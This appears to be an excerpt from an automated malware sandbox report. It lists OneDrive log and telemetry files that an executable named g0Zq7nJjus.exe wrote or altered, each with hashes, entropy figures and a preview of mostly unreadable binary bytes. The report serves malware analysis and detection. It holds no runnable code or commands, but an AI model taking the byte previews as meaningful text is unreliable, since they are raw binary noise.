Preview:	EBFGO....QB..H.......^O..7&...m...U.Y.x..-K..3[..-..Z.L..-..c\...x......R....p.z..S.n?#E..l}.....~Z..'..#.9..+m.....p....3.^..n...] .^.[b.....e.{W.....{......].I.[....V..~".H.}Z.V......]+.....#o.H.V4\..i....{m.2}.6.R.<....S.k...........q.=$....f...t\.7u.cM\|cqF..N.miP.P......wR.Z..0.n....'.<}4....IN...}....]`.O.-..}...t..h."+.....fY.C-Y.;....[gy.(.Z.!SG.YP...J$.b.Y~2...`..nd.y4....l...B..jShWQW)..//.....j......1..4a..6....V...d].K..]..F.9.4..(.&.D>....a..._.c$`0..r...n].,....8.t.W<.(...[/\+X..9m...2..O...E....B\|5..kf....q!(..;H.....U....(:.6.-..:.yH...0...z..ZDs.....q...7E.\|a./=7p.d.&[,'..4s...J...6.ce.....(.A==..h.}..{D..54...............,.I.!.DC9.1s...w.K.L..X..$......#.2)....X...<.w.9-v..J.....d..e...*.MU%..l...(KeFg.o$g.8....&..H@]<..X.{..$.R.7.f Y......S.a...=...D.$..Y...&...N.R.>.g....D.K...iAp.^.........7.?.7....wR._..hYc.8-..b.......\^`...nu....vn.8.F..-..[.G)...[.D...0UC..x2.....D....:.F.e[.2'.GepR@c..'.C....M.8&.]..K...R(...0.:..d

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-05.0632.6856.1.odl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20722547996672125
Encrypted:	false
SSDEEP:	24:MmV0qpQMDe78uQUXBVBqcFCnAiJLM0vKdxJdoe2bz:nVZ5DirB5FCnAX0v6SFz
MD5:	1D2AEA2714B3EDDB82B92D7FA216ABE7
SHA1:	E22966F25534F00F328BC4961D4244A7D9544B20
SHA-256:	1C0400B6D51BD2434A891ED36BD0C63A24DE00E65B2FDA68AF3BB22D8FA347CB
SHA-512:	758FC816BB81C4AD6C8EEEDA76A5D694CB75785418A9CB9A828B409F32BAE9E7674A375E15B377FE3F51DE1BB203D9808C4C83CD748831D99AE4D772030B7B67
Malicious:	false
Preview:	EBFGO.4..a....p.(O..2.[..<.G.#..k&..(9.\..0....8i...y.;.......a^..P.1......y.P..7.I....so.2....g....>.~......K..^Nq..j.=r... ....a._.?."..Yk.]..J..Sg.>.u....k...J.......k.....;!2..mv4.:.cD'.....0......hn. WE.as7.V.....E .Qw...X.,F...f..1......tm&.G.VY....fr.c..l...........t....p......q7.#..NG..#.?.g..a.C..DQj......_;$..A.>......"..O}.].R~7............5w........R....7^J\F.w..F..R.({.?/{.....4$a.u...'.......+....vl@2..Sv.X.5y<T.X"...QT.q...s......G`S>..DUzr.....ne....E......,^~...}...L..v.w,.R........5.cU..<....8.+.t.hu1G...i.(....U.jh...!.....5..&..Ch..@WoEl.zT.......@[..f..S..g.....\|.~%_.Sv.~.`..i.g^Q.A...v3..B.Koo.aw..9v.]..L...z{...F..l....ac3...>..m,b.....5.o...-.*.t.....)....a!.Ix.mpf.#)...p..j?........6!I..6...x...j.P.;.- ....<.+.d\.0......e..5.=T.M...{..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-05_063228_1ac8-1adc.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4595980366009584
Encrypted:	false
SSDEEP:	384:Uy6Cl/imudltoRKQ9ov6cl1cnq/tavqNOPCCvaFWwK8a6eS:UwolmKMcl1+qNOP87KT6eS
MD5:	7216A7BD53A7A1EF1B73A44CCB627C83
SHA1:	46A501C08516A334CB627060299B0F1D9873E5D8
SHA-256:	05B065EB8F68E45A49C11CA5389253329AC66E762AE85D4AE18FABF70442F9B6
SHA-512:	B6138C80ED8C074CC2885B5C40F3F04B5D8A44CF1050AD9D3C0B6E7AA60CC099936E131109B6E30750458369570985CF2A5F258135B62F8E4967F06A9D4F2F19
Malicious:	false
Preview:	1.0./...w..IZgG...c.a..1......\} wO...U....G`.0`E.}:.aw.B.."m...2.]nR.G.v/..t.....o...y. .Q....t.qf2..V.Nb#.$+]...Y.E.).%..I...`.....Ww`...M`,Y...!...............N....>f..o}\.z......:.Zk..+....A..\....u.7....a..._.."d.nB....;..YE.d.}..)v.$...".Do..R.....;..oA.Q.>...`<......8.vV.d.....V..Y..E.T.Y.M..E...#....\......dS.c....`ep#..k.i.G}...$.u....n.o...M..>.).....nM&G}...}.q..P....a^.....@...Y(S....3..+...X.$.l?.b..{.../d[../D\......O..o .;.4...#JRm..q..<...2...J.T....!.P.C..R?....p.E\|5.._[..S...D.^...%.t.rL(...q{..s.^".2..0Lk.0....62.#......T..w...)......z..P.r..!.f9j$..F#.hZ......Q..V.m.....4........,......I>(.k.Ux\UPfm,...,..3$..GL.h.r...<)K.4.U.`P.J<.\|..~K..I-..+...iR.....Q..L.G...J.......5.z.).w...6un..2$D.....K.<VS.....J.#Za.Op9../......k....m,...f....kL..r...Z.e.......[ j.c.....L.BS.A..X...>../&.B...(...t..V^Q...{d5...$....^.Ec.>.@6V.7.E..8p.5luJ..\|..^"...p.M.@RK#.p.....>....:Hb7u>.b....>.]......;u..Dv..(.....ktq

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-05.0632.6956.1.aodl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9411835838655841
Encrypted:	false
SSDEEP:	96:uftFuuVFr5SitgDZJGa+72kAcDGQO8Eab28ROJVfU+4:uzuiFdtgbw2krtOOxROTs+
MD5:	F086D7977F96EA9BBED9AA7C95887B6A
SHA1:	FDD995D35F18C72282370310BCF3CCB71BF6895E
SHA-256:	AEC62EC7CF1144F1E52D631E48D6A062142FCC9BF074D77FF98013CDDF070BAF
SHA-512:	FB87DD12F55179F03E9CCB4A092A5F50A0BAAD15D17E1091FEAA842C8BC7AA5DE058D3DB22D6927848D6305D86F497AF4282662341512DD7FA6EAD20D518D01B
Malicious:	false
Preview:	EBFGO.=..n..\|..<ox.x.M5.2\.l. ._. ht..m',.y..!U...G.Y.m...ugo......3..L...o..Z.........u....b[.[..8...(..R..u...k.U..]0.....&.WYO"Z\|GCK.n.i.8.F.nsC..{.]&....N..%g.K.7..qu..J...n..R[..`.E..[.d/...Y......-u....E.../H~....m.<..j=5/Mh......e..U..Tw.1..6....&..U.S.D.....F\.q..Z....<8.....f7..t..r^.....[K...............X.1g...R...\|.C.a#wt..P{....fJ.f).....9%.W....K.."....=..9.-F....Z....W#f..yv...c'...3.tB...+..h?..9... .C>s....#6..9.4e...";.ZM..Q.%.=......f.a.n..;....l...N...,.dc.s....:..N...j>Y...4...;@...*;....v...<....^(..~ ..N..U:..n0qj=U.\|.]..J....$.i.yQ.....j[V6X.....t\|YA!\...\|.M2.....U.h..x(Z>\|?.6Q.%P..)2.M.U..E....}........D........0@.....#.Uz1U.....ocI+.<1.3.7k.e..]..H...R.s&..z(......pE.........j.V.....n.o,...w1C..]......:......8..5..C.Wy&..4.eZ....zi&I.._6-.G.F.....9.g..R.F.....r.<3...'c..G..9.............c.gY..D..P....h.\|...p.....k,.......:_.,I..\&.HU..1.p.t......]C...D].b\e.$k._.........P.vr..../&f....k}\.....&....`.!

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-05.0632.6956.1.odl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20633269479762198
Encrypted:	false
SSDEEP:	24:Bf2z5sA6ZhU0Qhge2ob1P/nmVUknD2TOc80on2bz:BDA4CFbt+VVJcakz
MD5:	979D127259F5441DBECF9C398CF5EB01
SHA1:	2836C875477FEE62557E943D33F359824B5C77C1
SHA-256:	048F830A2D14AE26C2A1A8BAED25A1C65872F79FD7CD55695F7E0610E602E9F1
SHA-512:	49E7BDBB9670FA86D129A04196AE33F6678CDC52D702EE41A3B86B62560A0C168AA10874B8BFE7938BCF9F5C756A59CF59F99DF6C626AC773DD76F32024A10F3
Malicious:	false
Preview:	EBFGO.......s......C../x5.RMM.pt...........k...V..k..g{ZJJ.1S&.F5...-7;j...^.\..._.f.fL.)./.X..uv>......c)..[..0..>r.!.}n..J^.B.{.k...q...Wl....x..^xL..X........u........NQ.a...P..C&TuE..t.v.T..h(e..o.P@V.".W$..a..\1.mX...,]Z..z.uh+...,<.@..bd\..D#..UDb....@w[..Q.3..J[..q..L5bF.-....c..c..i\|..9.o.3.,..C.g.S..5.+=....H.x.&ghM..&..\|.=...xd....2.N]2`S.$.9B<r..s...IZ.......#"Ld..V..g$..}\.s....n....$.mC...K..T..~p1^.<..Q...>2..Y.u..y.~.G.........8`[@[..49K]..<d.......%v;7.*m....7.#.H........xGm...H.Dh.0.K.......]J0.....sIaV.Y..oW.Q.......]5O.pF.>VgL.]m...'T6....!u...y.xu.P...;..i+...\|N...B9...`.N...C.$.._>[..Rk.%..R.0`....`s.[..Nj.;"....a...x.m..pR....G[.........'.u..~]U....f.U.c....l.fF..Z..NEC)".......RVJ_"..g`................l.Qu...S.!...d:...I.0....C.."e\|.T.+.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-05_063229_1b2c-1b08.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8965779533713727
Encrypted:	false
SSDEEP:	384:QHlGHuQLbqF3lH3JfV2Zvx61bbdsNVXPUz6qyaPJl/jrSZbiHLEBpJllx:Q+LbgNZ92ZUf+Lczby0j0bggpJllx
MD5:	D542593420294E371B79F92FCDB77930
SHA1:	4CBE383209FCB9F21E238C35EB32C04B957D0613
SHA-256:	41EBD5832EA722FC016AFF2B67C6F8CEA20A242E3B74DF2332E7AB5CF78F1DB7
SHA-512:	BE8B5C50C0A3BED287EF9F02B46F6A55ECBB46AE80FB550D446D281285A93DFDC6EE34EE3C6DD96C2D3C6370C1A2B1E56A4E866594EA502856446984A72F71D7
Malicious:	false
Preview:	1.0./.....E.0......8.V.a..fI...9....c.../<7.3........EE..P"Y.N.f.>.\.f....d<.7./@h.(....P\>.&..F.1......:b[..h.G..$...aB.......R..R...f....0a'}.+....bX.<...O-.'.f]...(E..Y.....Q,..\|g....n8....t.......`)1..?.....U.....&N3.l3.zW."..7.,&gN..W.d4T...}\|....4'<...}...X.j$...o...;...y.EJe...f.".a.RE...5....$2b....!...;......R=\|a..V.W.aK...R.......,.6d)...k..S..X....GI...k...T."M.V....}.I..BR.\|okR....m...WW..w..F.i5..(...B>...\|..O.AI]...f...W....O(UP..:6...+.....U8..y..\|.V..}0.l..Z.,4...=.s..>+O...o..1o..i..%lM./...2.c6.....[...V%.H....AK_.}.....B.;Q.x..N...O.Ju.Eu.?M..E..T..+'T..X.;......sa...........k.........&Fl6?........m.x.6A..L.J\|..D.,C.w...&.2....r..SX...r.H._.cV......4.(...L.....~.aNs.u..O.58.x........G.f........c,....fX...hK.c.Y.I3...{..4s\|.]+..n.dz..`m.d!.oK.KT\.>...w&p.H..H..1.....Z.nX.SGR.{.m.......l..g-7p../Z...t$!...2p..E..X.......%1....2+....5_.ZANqC.;..7e..ty^C.)....u6Z.......(.R)].JDo.....G.Q....d........g..j8]..d*;.-.yM.[...K

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-05_063221_19a4-1980.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.418893026176217
Encrypted:	false
SSDEEP:	768:+BXnxq/B3/pzHVAVgiknhF3o2NP2+o/Dgi7/89wJTSCBzR:ynUR/PAhknhlokPC/HD89wJOK
MD5:	22F8ACBF50B7053FEF8B510C948D6B64
SHA1:	8E9F030ACA72523C12D9405C604E5291A9F98E24
SHA-256:	BF1078146EBC4CEC637A7B4FDD7CD862F9DBA0148F428E574F3A3D178868EC65
SHA-512:	A7F8B05C213F2E1FE05A4511284A91EE9A7D37D30250EF32389EF86E4F57FDDFDC500A26FC638341CB7946F383290051FE92B8F23269E058B7268945EF87B6D7
Malicious:	false
Preview:	1.0./L..m..OdO..p0....'...`.....?..U..~.83=o.P.2....es...m./..!....._...j....6hY7...,.N....W...7\>.^...Je..<{..>.7.."...-.St..].fH..)...........w.J....\|..$.?\|.#k...y.U.f.1%#...p.....`.e....&..DF@)..=?..;1c3Y...`&k.....".iL..S...Z./...&.u.f.L..d.....\%..%._@C..a.m...b....r.0.B..0z.dl.......D....."yzZ...8.Zq..&.........Q.ra..'.....r8.B..Om.....0....q..Y;V...9N^.....E.....Vp...#7.c..F.-.&.x..3..26w.o.O...z.+.b-j.<.`Im.f&6........-e..Y..dV.......4....L.f....`6.\.-}o...B.......-..VnL.!..}C....z='.I...h....#v.n= $..L.\|/i.mf9_..9u-....:..5..O."C...s.....J..%x&...;..s..8z..../.O./...!....1...07I...}#..V....`.4.,%.y...WL....;)g...I..i.^..+..7...0._e....k..!.%..4../......L!,..8{dDv..$..1....?.o.G.4/..D.)F.....r.x..x7.".Q.8..j\.&Z1..].M....q.B..M,.d..a.UI.hu2l....%).<...u.l..%.2v;.4`}1.&.....A5...e...X}....w4...K#T9.9.M..{..r..I..TNU..z.7..,.v........_z?...&........L..4..Jv.....N.@.4..!.M..1.....F.'M.Gy.Y.oYj..3.\|._sN...wy...K.%.Q..1...sM.wi.e....'...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_061944_5b4-844.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.555801184493783
Encrypted:	false
SSDEEP:	768:wZuMHPL6QNov5TfOsVPDp1f+WOB1UrGy5FqP79t4Q5LP1:guITOBOuP+WS1UI9uQV1
MD5:	1E01893E366D96B13843AF04685DA645
SHA1:	A6477DBBA556E76D450E7F20660BF4AD4681C245
SHA-256:	434C2A2EFD2441B2112259C036A8E78464330EA517A537ED97372212CE9E612E
SHA-512:	291BCD4B499D673AA2A7283B65B9D49A9B534379D9A4AB6529416DCD5B467DA5D8315D65D305B7C278E4910C0CEF47D8D2379B415E81699CE2C069F99D8FB1F6
Malicious:	false
Preview:	1.0./.FdXI;2@.2.\|.F..s\|RR.....h.N..\|<...H...6..$...L..'.6...U..s.U%B%...d.....G...4...U........@w5%.!yR.Z.j.. ....U.._..y..N.y.)U.a"....X.qKS...GS.eP9I........q..(.n..B..?4.k.t..VQ_...I\|..S.R...x.B....-....d.U....{....Og.n...X.^&.....,..<1C.(P.z.......8..lI..[............63.3e".[..~..5!...V'...p...Y.....$......\|`P....k.:..5.....\oA..u..Y...Z.c8...z..._'.~.B...k..y.R.........+.u.)n/L...e.......M.9.D..InM9.R.-.j.HH.A&.}j...J>.}b.......;V.K...0j.!x....D.J@....@.l4.5%.\B...R....^.....%..-V........=...K..#;...q..ns.....q..@.T.~...i.x.@....8.B.9.FE.o.K)S.P.....E.r.6z....J".._#So.x.....f`..6V&$.{..w....J?...)y.......]6.KAK.......[Fad..^.8+...jc.@..U....j.k..I..c..."..aZ....X.R./...&.O!..xB2.....CWpM....}....+ .].\|...K{..s.W.......s._t....q<..?...~y...f\|.F..1.hhbqc.C..3.4.s....v\|t......\|.f.D..y.Ht)....:........5.).a.S./`.}.g..E.+@.cI5b...a.'..n.N).$..%f..3s;P.<P4.s.....5....."..!7..\|..l.9.T...//n..ah7U....l...?p.X.xg..S.F-.C.1BC.lu...6.pn(

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_062015_5204-7564.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3155996508833778
Encrypted:	false
SSDEEP:	192:ZE6E+SH4aSYG56ol/oWs+WiIYKfcPnJ+SJq:ZnEsB57lgWZIYKEJBJ
MD5:	A8618AFFA11F636A9A9071F85F5CDB57
SHA1:	06A1201316634E8F469AB5D937D15634C0136D99
SHA-256:	B850ECDAAC07BA8E4061A1CFF97E589B16216D7ED5026007A91EE42F01C30EEA
SHA-512:	761A91AD8DB6142349273D6C8599B4F3B845E4730601578FCEA9ACD296949EF4009A4444F72052CD996723CC0BE3B06B7B56FC4799F242C2F0158276A89D68BB
Malicious:	false
Preview:	1.0./.......0..@..swy.".\|.dC.j.c..7...o.=.....S...?.%ow..)....pb.!.[....;.x.5..]..7r.........0K..9.....+..G...).P.k.Jm...h:R%..:T.B..w.c/.=H.'.......1.Nk.=.....2.q..N>8M.....Qa>....\|{.N7c[...^.......;...s.;.v....e.:.B....f.2....\|.. ..P...\Y}.yK..Hc1.Cc.k.g.Q.......!.B.;."i....9.).....{.M4\|.....3)I..d=......>?x....v.....38B.....=..&.._.a...'..I....MG......e.......Cv.....A..E .(!.....l....,..<f..&.....~d^.%.<`....%nh.\...L9.X.....@.9.Hah..1B.!1.2..2...Q.0...XG.w@...H.......r...k.......{7.u..{.E.V...<_oF [.Z....(....OX...hF(.%-..g...i:..........8...i..A...e\|...l\........U.....`.}000t.".N....P7D.......;..A..h....%t..O..Q.r..O.2.?OrTD./&xg..nEx....Ll..eF..v%8s..\|L.T+...njQ...!x.K...(....yg..........H.j.....k.ZH.O.7d.~?.............pOf.......!..f..x...F....8.....,....'...6..2..[../x(...)...u.H...........S.........jS.@...O&.?y.........$)m.w$}..ve...G+.X..">N..V6...]3`....w....\|...C.O....^G>b^.....?....,...)..s._.....L.J.1..m...y..8..tC.mQ

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_063232_3488-6044.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.7609072191288493
Encrypted:	false
SSDEEP:	384:DNsMB44earlt/7U9WadRd+/RZGuvrP+DT2+Oz:5N1eAlt/YJwRZ7jPH+4
MD5:	39B881E04359C57A36853726F5B28DE4
SHA1:	BAE885F1D3AE1B834FC17A5BDB891E76DDAC7EF4
SHA-256:	ACB4A83D071A29AE30904406FADD5E13FB620D30B0E3DA27ABB481E0AC012471
SHA-512:	E87E1CE08497EFAB7F1FF6EAF4CCB617E5488229D6FC92396D623D3D5526DAA744805364E8D0CD1C89A59D13E345D37C5BCD6DC68875BEF1DE8B65B0EC103101
Malicious:	false
Preview:	1.0./.!.....'.."...f_.c..xzd....a.J....yMa.m7......)...RK.\|D[....H....R...~.....1B.r]......}........l. e..o.......A.t`Q.....#.7DA..].%)_M...L$g.8_.D....U..H.V`!.F...eH(tf..S...Z..q....E..j.'._.A.L.E..d.V.e..Um.<.B...\|..o..z..n:J......../..#...@........j...q...T.!.!....;..Gif..Y0.).'....Egh).../.. .f..1./....._@..<..qHw...J..&.I..L. -2:.....#..Z..(.\\|Yt..]...[.1...........TM..o.."{..b}MN.........c.......a2..L.6.@..x..S.!..zA..b..j...8C....y...C...K.j...^.......j._$...K......$9\|.9<$...k.N....?.f...+G...........N!..0.lR.(......~..N_.<....K.u.v...W}.hc.-.b......J.d.....1`...0,x..+Kq..v.`/..d!........V....u.[....@.t..eg]L.....,..]...0.-.@.\|-...m. !h.#e-@:..q.'..<.(6'.o#%........#.......xv.H..[z..u(mE.j.......64~G7..<[2L......K..Z..R.....Z.eV7...'V....}....>...mW...{..+...zk.!:...&.7._:..U$...zJbo.;..BR...\|.z..^.v.)2Gs.l?.p..>0.W..P@..x..Kp...#..n...j......_..........%.].7..@.c<..c.B...\k..\.......}0A.5.q...EBJb{.7.$..!%P.B....F.}.m..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_063346_5228-5232.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0055142084040607
Encrypted:	false
SSDEEP:	96:ztoRYxHZA9lBCVFI7NFMoXH3p8KVVfdctvW7t/HDyy621S7jm4gv156eFod:5oRG5wQ7I7NFMo3Z8+F2vW7Vjyyvb
MD5:	7499AE3D2408B08DBA6851B65E805C0E
SHA1:	1076C95B6B560605B14F6F0D88281CB7ACDE8FDE
SHA-256:	38218516FD88EE354E95E1713B9A7D14580D11ADBA28F4F55CE2AB69E5481ECE
SHA-512:	47C2C784121DCC82D0D042187409A0FF6DE0CA6EAEA28899200ADACA597EE73C5AB3038C0A05541804D5180E84D3ED0856E0F3A08D4214D8707FD96B7FE3E353
Malicious:	false
Preview:	1.0./.......U./B.R....4....l.=..v....-...}.c..!e.qJ<..Fj..L..-..7..6I..M yZ.v.a....9.#n...$.H8.d"&.[O.Y.Z.&D.;.4.8,.Q_..'..a....db.F.q...$W{...G.S....H!.4...%......../+i..MG..'.\|..Q'.<.....B"...@...`....l...8....:.}LI8@..;4.L+&J.kgE.......E....1....K...uH..9.-T...[.].%v..6.,R.q.`n(..5nc....p.E..5h...p[..Dc8...q[..s.V.R}..z....N....Y.s7.....1..e.5......./....P%D.).$._y..........1w.D.....1. ..W..z...M.9..j.._...E.....g..q.....{.?r:!`.........p.If....$oS.s..{r...<...s}t....I.m.6.h<:.tA...x..#.`......XX....\|?..x.J.T....xq.7oU............V/.3v>x."..^...._..U...[."[,;k....3.w7...9$.$...).98....7....c..G>........Y.0...0.......F..v.=..f..R....@...{.>...9B.C....oP.9.R.[..%C>.H..6.......:.MrJ.P...;..T$..,..?\..9.5......l.@.`/.._..{.3.q....M.FQ.S.......Y(]\|..Sj..d..n.s.i.y4.+z.J....P.B....g=.v.3...Yr.".1.\.....m.y"..yG<g..>.....7~....\|....t.0.."o.F6].S*....\...... ..^....../.....].`..4.9.o..-...%.JZ..b.M.6....3..g ....%r..#:...c.7

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_064304_5592-5596.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.00354213003705
Encrypted:	false
SSDEEP:	96:dpG7wAqQszwgwONfpnmu9mpSS9gWKJSL8nAAsxnH/fa5tyI9Px7:dpGIxzwgwONxmuEpSSGWK+CsHa5h9Px
MD5:	2CF76F56E90D77C6C1BC23A9D55BB27B
SHA1:	54FADAA8BD9FAB618D25A6A5ED036195B22F80D2
SHA-256:	871A92F4C860DEAE9526E624FA5D78D8D5DD1170CD2AE3D680BB144CFAFA630F
SHA-512:	002915887B07DD9B0720E19468F5EB0CABBB50D3B5A8503C4117BE727E226D39C88A326B49D54F7C5C54606CA47EB667CED4A852870FA75B14920D23EE779C39
Malicious:	false
Preview:	1.0./J..];.`....%.N.......v.Gf...Z..IU.P.....-.kA..7..U.....lF.......6%.?.N(.n....1.&.o..$d.{B.O?.uJTH0z..A..(...o.....qh..&.gXMO].....9...i..-..WfO.,.!UJ..Q......A.....Qp. @.~...I._.:....^>...i.5R.].c.I..Bd=M..^....L.....@ac.%..).^....H.d.......M.Wp.h.<...._.l.(.t..h[..M.Ne......M3<....N3...E.\i....;1..L..Ck.U.....'.9S.. Zt..g~T)...\|.0..r..K......T..\....\|>..Q#Ii.W.../...4..+w...Q.5...5.....W.va.vL.].).u.3zN...!.1...<...T..g`..`.[..wY.C&kc...\|.6X...P.5..$."....x.......l...<.H..7.x+h.)y..7....9./.76j..R..Ff"_j\.8...R.-..r.P....wu......f.BM.}}.7P..nh.i.EWYV........t.i...=..,FEI.)...J.-...0R..7.'9........N...).q...n..\..-.%...=...e0.T3..<....}...[w.K-8z........JU..r jJ(......a.!.e..7.o.... ..(N.L.{....o/.`.x....E.....S...I...f.D#.OR.w..y9..n..3[..r..h.}..j.{........@..j....1...6....O.^.....(...-y.o....<.....8......M...RR..4..$.>.R.%...z.*N....A.....0......<...i.. ..~-.<'...~.6..^wi..o.....s/+..~...FDQz..T........UeM7.8....o.........._.+.s.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.424601894984251
Encrypted:	false
SSDEEP:	384:MhZilemAv4n3M64cSzdpr1elodeUQYurgtq9JTGBFgZ:yiHAvdPcSzjrglodpFyT+
MD5:	1294EF5CE7D771D93376F14B41CA6BF7
SHA1:	FA2D087D54921E544FB5B5C919AC482EB6E037DF
SHA-256:	84EC4558B42EAC71699C5E9653D1FA16DA54737A6C006D3460753CE1DB68CA36
SHA-512:	EB5508022DBA48C856F7F5282D8C469EC6343391B29CB8C970AC897952EDC98FA0F1FB3847EE0A62150FD25BC328A642BD59A322EDC2822BF4F25D3BDBA612C6
Malicious:	false
Preview:	SQLit..L..Lg...a0].#...h..V.I...a.....J.6..0xv.J1)%.._>.2$......c.Z.\|......,.K...b.L...T0.:.My.e....S_.5.S..n..&.T......F..6..J.O.z.K...Z.q...'u....z..o...O...7.A9..:....~....H.>:2.......Hd4WJ.f.......... .......;b...%:av.D....>.T8..Vr....&P..:.&._k....CO..y.A.``..L.bFD.C4....W.F. ...?..1c......%.N/..f...q.h..d...]....75s...:...^J...8...n..e...x.]..^W.i...0..]..n.1...........UK.Lh.d..tP........K..P;...Dv..v..Mz"D.b.&%..^@..'...\..oo`.W..s... .X...-,l..i>......%.h..UJ...X[...{.?N'..f....eG+v..e.F.....s...)...~Z..w; .2o.]C.~.......?>i.Hb1..l&....[.Pad.,.....4..t..)DI.)......\|=0..u..x.....\.C..u...m.....v?..vD.B.i.Sp..-.q.)l.5P}....D./1v..fFkp.Ec..;l...,8`.....V.%.H./...k.O...-..W....;...."W"[...}...3w..?v...z=..a....E....B6..{../.....".&S.#.ug..N..l$i...h...@(..8.........1...\|n....01J..#w.1.../%.!.z.Q....L.f......g`........9...QC..Ar..1..M..1.(.r.Q......u...-$.n...?Q,.....w.fm...,.O...x....r{w....z..D.7}.......H.x...Q..;P......\......`V

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.42611246329964
Encrypted:	false
SSDEEP:	384:l3TOhYDWuD5EheCl+Zq5+7ry53fQ/qm/kdbkB2aRdLtBaFdfn:BHyeCwZRvy5vQCdbkc6tif
MD5:	9EDF73DE793DBAEE0721A31AA1BC27CF
SHA1:	A7873D75C5743313B18F11348AF8277C76E9B2E4
SHA-256:	040AC87E5AE86CB7FB761D041342A7D4AAF832C28D6ADC392E94C7A825E79543
SHA-512:	EDF79911E24701EAE9084348A32DE78A9D599A6872A753D673DB1B8AE0BAE777783AE2D08D565B1F49BAB4B0F27979FB9D5C678399B12347723C3FE8D39D653F
Malicious:	false
Preview:	SQLit..}.Z...Q..F.....).D....SJ./..b.a+..L..S..:v{./:_.,L.#.xv.'......(E.[.qb3..,...=.....".g....Q.......G+...v...-k._..-.F5../O.f.....C.$....-.&.1D'0-....7gR..V.F...n......w......N..K..1d...../,..\|.Kmf....Y.,K.......g........h....e.Mh_..O...........K...fG.......^.."\|<..C.g........gb....UtB....i:..n......F..V.-4........t.H.G-?..rsp.Y...l[.....S9aX....X...o\oE9`$..G...{Mj\.......L..CM.6..~...Z...6....B..WXS.3m..4@.J..-..u}&...'....;.......x..3(4{.o......?.......i..g......t./....!..<O.......^c.=j.......O...1^.............D:.u.:!=7.S.HX...o..B)T.V}.....2........&....#..6..../.i.Y...P...a.\|1...o3..F....hK..$..!._..s.C....C{C$..j.r..0/.... J..mEY.@.E...DnS.G1V{4qS:....]..N.Z.GK...#);j..I.MB.......I.o;..[..8.$......>...F...h.%...AH.?].NR...,.j..Y.;.cO.........O...a..Vw[.....X.....!l.hZB[.u.D[YU..$\G..80.-J...P{t...@-uR.....E..4..QtY..~2......ai ...i..vy".dr.;$..,...b.....p...k9.....+..H..I....D\)!a...D.-..k..\./.\2M..*...HlOx.6.64>....H....B..%..Q./.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4259996617829387
Encrypted:	false
SSDEEP:	384:FBOwlbWopTh0t5y5wG8bq/wK0pBF5/by+COtXRofgMYjEdNbEbh2H6x+:FAwlbvT2t5y52gu/bPCIwyAdNbEbhP
MD5:	32CF62FEAD880A7D9125AB4E5EBE9844
SHA1:	48C51FFFA497FE1AC50AC8592FB02D0E5F53E77D
SHA-256:	88996B89534D04EB76BBF891EB170DEE9F9122B0DA4A98E05D147840ED30F45E
SHA-512:	18DA1B524D13CAE624F311930CF80CBCB0242150B27A24214490ACB00B50C37A5AD86ED72F718D72CE39D39A32891FB55489E640FE146EE86C8E279D0E590941
Malicious:	false
